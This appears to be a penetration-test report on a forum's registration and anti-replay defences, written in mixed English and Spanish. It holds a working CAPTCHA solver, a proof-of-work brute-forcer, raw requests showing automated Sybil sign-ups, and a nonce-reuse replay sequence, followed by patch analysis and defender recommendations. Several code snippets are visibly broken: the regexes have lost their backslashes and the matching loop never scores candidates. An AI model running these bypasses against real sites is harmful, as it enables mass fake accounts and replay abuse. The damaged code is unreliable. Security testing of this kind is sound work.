const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], ... '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]] }; 

Character set: ABCDEFGHJKLMNPQRSTUVWXYZ23456789 (33 characters, excludes I,O,0,1)

Jitter: ±0.4px on each coordinate

function generateDynamicPath(char) { const commands = CHAR_PATHS[char]; return commands.map(([cmd, x, y]) => { const dx = Math.random() * 0.8 - 0.4; const dy = Math.random() * 0.8 - 0.4; return \`\${cmd} \${(x + dx).toFixed(2)} \${(y + dy).toFixed(2)}\`; }).join(' '); } 

VULNERABILITY: The jitter of only ±0.4px allows deterministic matching with a ±0.5px tolerance.

Analysis of server.js — Anti-Replay

const usedNonces = new Map(); function validateFreshness(nonce, timestamp) { if (usedNonces.has(nonce)) return false; const ts = new Date(timestamp).getTime(); if (isNaN(ts) || Math.abs(Date.now() - ts) > 5 * 60 * 1000) return false; usedNonces.set(nonce, ts); return true; } setInterval(() => { for (const [nonce, ts] of usedNonces.entries()) { if (now - ts > 5 * 60 * 1000) usedNonces.delete(nonce); } }, 60000).unref(); 

VULNERABILITY 1: Nonces only in RAM (Map), not in DB. Cleanup deletes them after 5 min. No UNIQUE constraint in SQLite.

VULNERABILITY 2: Math.abs(Date.now() - ts) > 300000 — uses > instead of >=. A timestamp exactly on the boundary (300000ms) PASSS the validation.

2.3 Exploitation — Sybil Registration

CAPTCHA Solver

Attempt 1 — Feature-based heuristic: Failed (0% success)

An attempt was made to classify by:

• //Number of M/L commands
• //Aspect ratio width/height
• //Presence of a middle stroke

Problem: Different characters share the same features.

Attempt 2 — Inverse SVG Transform: Failed

Three mathematical interpretations of the SVG transform matrix were implemented. It was discovered that the path data IS ALREADY in template coordinates (0-10). The <g> transform only positions the character on the canvas.

Attempt 3 — Direct Path Data Matching (SUCCESSFUL)

function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let result = ''; let m; while ((m = re.exec(svg)) !== null) { const d = m[1].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length !== tpl.length) continue; } result += best; } return result; } 

Accuracy: 100% in tests.

PoW Solver

function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256') .update(challenge + nonce) .digest('hex'); if (hash.startsWith(target)) return String(nonce); } } 

Performance: ~1M hashes/s | Average time: ~1s | Typical nonces: 400K–2.8M

Key Derivation

Exact replication of the legitimate client's WebCrypto process:

const DOMAIN = 'c2.secure.forum'; const name = username.toLowerCase(); const authSalt = \`\${DOMAIN}:\${name}:auth:v2\`; const authKey = pbkdf2(passphrase, authSalt, 600000, 32, 'sha256'); const encSalt = \`\${DOMAIN}:\${name}:enc:v2\`; const aesKey = pbkdf2(passphrase, encSalt, 600000, 32, 'sha256'); const encPriv = \`\${ivBase64}:\${ciphertextBase64}\`; 

Successful Registration and Login

POST /api/auth/register Content-Type: application/json { "codename": "xlawt30e4", "password": "b1433859546859d1...", "publicKeySPKI": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...", "encryptedPrivateKey": "K4n/8xE7OtixT4rx:gJQ0tkFjbCVRgD7RyvjKFdf...", "email": "", "captchaInput": "9CU2V", "captchaToken": "1782596917718:e19a41b9-...:33e9340390a037d6cbcc3b4512355cba85f08d8bab3376dc0a6a17efc66e02ab", "powChallenge": "6805e7e04947631a60bd234782922865", "powSalt": "469261" } → 201 Created { "success": true } POST /api/auth/login {"codename": "xlawt30e4", "password": "b1433859546859d1..."} → 200 OK { "token": "3405007bb3f16c45...", "role": "AGENT" } 

Thread Creation

POST /api/threads Authorization: Bearer 3405007bb3f16c45... { "title": "Sybil Registration Proof", "content": "Automated registration: PoW(dif=5) + SVG CAPTCHA + honeypot bypassed.", "category": "web-security", "signature": "JynLfnou4nTNgVPxAbfeo1AQhq+1br...", "nonce": "ae6e88bc-2325-4ac5-940a-f86422ee20fb", "timestamp": "2026-06-27T22:00:10.940Z" } → 201 Created { "id": "f4244f8702e6f0716be618b0a076dfd4" } 

[ { "id": "f4244f8702e6f071...", "title": "Sybil Registration Proof", "author": "xlawt30e4" }, { "id": "9286a2d1377d9970...", "title": "Manifesto", "author": "Noir" } ] 

2.4 Exploitation — State Corruption (Nonce Reuse)

Tests Performed

Demonstrated Attack Vector

1. Crear thread con nonce X → 201 (nonce registrado en Map) 2. Esperar 5+ minutos → Map elimina nonce X (cleanup automático) 3. Reenviar payload MUTADO con nonce X → validateFreshness() retorna true 4. Servidor acepta y persiste en DB → Nonce reusado exitosamente 

The timestamp exactly on the 5-minute boundary also passes due to > instead of >=.

3. Session 2: Blackbox — Re-test in Production

3.1 Verification of Current State

GET /api/threads → [] # DB reseteada (sin threads) GET /api/auth/captcha → 200 # Endpoints funcionales POST /api/auth/login → 400/401 # Login funcional POST /api/auth/register → 400 # Registration funcional 

3.2 Detected Changes in Production

New fields in CAPTCHA response

{ "captchaSvg": "PHN2ZyB4bWxuc...", "captchaToken": "1782598833317:85b6fb572a49c6c4a8fa7c792d9e7a98:e087278045d2c62a2d18b63cf5c927e14fea2841433d984c03c37162be3c09fa", "powChallenge": "91fc751ed3095259c6171c157f21fe79", "powDifficulty": 5, "captchaIssuedAt": 1782598833317, "honeypotFields": [ {"name": "v_f50ab230583c", "label": "Email verification", "technique": 0}, {"name": "v_416e3e1a0829", "label": "Phone validation", "technique": 1}, {"name": "v_8be7844ca88f", "label": "Secondary authentication", "technique": 2} ], "hpToken": "1782598833317:89761fedf96b1f6cb6fa2bf649c5ce502211d64ed66a0f144ee575f633b2172c" } 

New fields:

• //captchaIssuedAt: Server Unix timestamp
• //honeypotFields: Array of 3 honeypot fields with random names
• //hpToken: Honeypot validation token

New SVG Format (Bezier Curves)

Antes (v1): <path d="M 10 2 L 8 0 L 2 0 L 0 2 L 0 8 L 2 10 L 8 10 L 10 8"/> Ahora (v2): <path d="M10.78 -0.25 C7.08 -1.42 3.96 -1.34 0.33 0.02 C0.55 1.31 ... "/> 

Differences:

• //Dimensions: 180×55 (before 150×50)
• //Commands: C (cubic Bezier) instead of L (line)
• //Multiple paths: Each group can have 1-3 <path> elements
• //Additional noise: Bezier paths outside the groups (noise)
• //Coordinates: Numbers are stuck to the command (M10.78 vs M 10.78)

Unified Error

Antes (v1): "CAPTCHA verification failed." "Proof of Work verification failed." "Invalid or missing field: codename" "Codename already registered." Ahora (v2): "REGISTRATION_REJECTED" (para TODOS los errores) 

3.3 Bypass Attempts

Bezier CAPTCHA Solver (Partial)

A Bezier curve endpoint extractor was implemented:

function extractEndpointsFromBezier(d) { const segs = d.match(/[MC][sS]*?(?=[MC]|$)/g) || []; for (const seg of segs) { const cmd = seg[0]; const parts = seg.substring(1).trim().split(/s+/).map(parseFloat); if (cmd === 'M') { points.push({ cmd: 'M', x: parts[0], y: parts[1] }); } else if (cmd === 'C') { points.push({ cmd: 'L', x: parts[4], y: parts[5] }); } } return points; } 

Problem: Bezier endpoints do not align exactly with M/L templates due to control curve distortion. The matching produces 2TH2X but it cannot be validated if it is correct because of the unified error.

Dynamic Honeypot

The 3 honeypot fields were sent with empty values, along with hpToken and captchaIssuedAt:

const honeypotPayload = honeypotFields.reduce((acc, f) => { acc[f.name] = ""; return acc; }, {}); const regBody = { codename: user, password: authKey, captchaInput: captchaText, captchaToken, powChallenge, powSalt, hpToken, captchaIssuedAt, ...honeypotPayload, }; 

Result: 400 REGISTRATION_REJECTED — it is impossible to determine whether the honeypot, CAPTCHA, or PoW failed.

3.4 Final State

Registro (v2) → BLOQUEADO (CAPTCHA Bezier + honeypots dinámicos + errores unificados) ↓ Autenticación → NO ALCANZABLE (sin registro) ↓ Nonce Reuse → NO VERIFICABLE (sin sesión) ↓ Thread Creation → NO VERIFICABLE (sin sesión) 

4. Version Comparison

5. Patched Vulnerabilities

C2-001: CAPTCHA with predictable M/L paths

Patch:

• //Paths now use Bezier curves (C) instead of straight lines (L)
• //Multiple paths per character (1-3 instead of 1)
• //Coordinate jitter amplified by control curve distortion

Effectiveness: High — exact matching against CHAR_PATHS no longer works. OCR or ML is required.

C2-004: Fixed Honeypot

Patch:

• //Field names dynamically generated by the server (v_f50ab230583c)
• //3 fields with different CSS hiding techniques
• //hpToken for server-side integrity validation
• //captchaIssuedAt issuance timestamp

Effectiveness: High — without source access, an attacker cannot predict the field names.

C2-005: Differentiated Registration Errors

Patch: All registration errors return REGISTRATION_REJECTED.

Effectiveness: High — prevents:

• //User enumeration ("Codename already registered")
• //CAPTCHA guess validation ("CAPTCHA verification failed")
• //PoW validation ("Proof of Work failed")
• //Field fingerprinting ("Invalid or missing field: ...")

C2-006/007: Exposed Source + Predictable Templates

Patch: The public GitHub repository does not reflect the production version. CHAR_PATHS templates are no longer directly usable due to the Bezier transition.

6. Persistent Vulnerabilities (unverified)

C2-002: Nonces in RAM

Probably still present: Changing to Bezier curves and dynamic honeypots does not imply a change in anti-replay logic. Nonce validation is still in server.js with an in-memory Map.

Impediment: Not verifiable without an authenticated account, which is blocked by the new CAPTCHA.

C2-003: Boundary check with >

Probably still present: Changing > to >= requires modifying server.js. There is no evidence that this has been modified.

Impediment: Not verifiable without authentication.

Signature Forgery (ECDSA P-256)

Not exploitable: Unchanged. ECDSA verification remains cryptographically sound.

7. Artifacts

c2-pentest/ ├── REPORTE.md # Reporte v1 (whitebox exitoso) ├── REPORTE_V2.md # Reporte v2 (blackbox) └── poc/ ├── 01_sybil_registration.mjs # Sybil registration (v1) ├── 02_sybil_full_exploit.mjs # Exploit completo (v1) ├── 03_nonce_reuse_test.mjs # Nonce reuse test (v1) ├── 04_captcha_solver.mjs # CAPTCHA solver M/L (v1) ├── 05_captcha_debug.mjs # Debug CAPTCHA (v1) ├── 06_sig_verification_test.mjs # ECDSA verification test ├── 07_bezier_solver.mjs # CAPTCHA solver curvas Bezier (v2 - parcial) └── 08_bezier_debug.mjs # Debug curvas Bezier (v2) 

8. Chronology

Session 1 (Whitebox) — ~2 hours

Session 2 (Blackbox) — ~30 min

9. Conclusions

9.1 Effectiveness of Patches

The Noir0x63 team responded to Session 1 findings by deploying multiple patches to production:

1. Bezier CAPTCHA: Switched from linear paths (M/L) to cubic Bezier curves (C), rendering the coordinate matching solver obsolete. Furthermore, multiple paths per character and additional Bezier noise complicate any extraction attempt.

2. Dynamic Honeypots: Switched from 1 fixed field (email) to 3 fields with server-generated names, plus a validation token (hpToken) and issuance timestamp (captchaIssuedAt).

3. Unified Errors: All registration errors now return REGISTRATION_REJECTED, eliminating any possibility of enumeration, fingerprinting, or iterative validation of CAPTCHA guesses.

4. Outdated Source: The public GitHub repository now contains v1 code, failing to reflect production changes. This prevents whitebox analysis.

9.2 Lessons for Both Sides

For the Defender (Noir0x63)

• //Fast and effective response: Patches deployed between sessions demonstrate agile response capability. All 3 primary registration vulnerabilities were fixed in what appears to be a single deployment.
• //Pending: Anti-replay vulnerabilities (RAM nonces, boundary check) likely remain. Recommendation: migrate nonces to SQLite with a UNIQUE constraint and change > to >=.
• //Rate limiting: Consider extending rate limiting to the CAPTCHA endpoint to prevent mass captcha harvesting.

For the Attacker

• //No access to updated source: v2 is effectively a new target. v1 knowledge helps understand the architecture but does not provide direct exploits.
• //Bezier CAPTCHA: Without access to Bezier curve templates or a functional OCR pipeline, solving the CAPTCHA requires more advanced techniques (ML, headless browser, or reverse engineering of the Bezier algorithm).
• //Broken feedback loop: The unified error eliminates the ability to perform iterative validation tests.

9.3 Final State

Report generated on June 27, 2026 — 2 sessions completed Tools: Node.js v26.4.0, Python 3.14.2, curl Target: https://c2.noir0x63.org

Production Deployment: APPROVED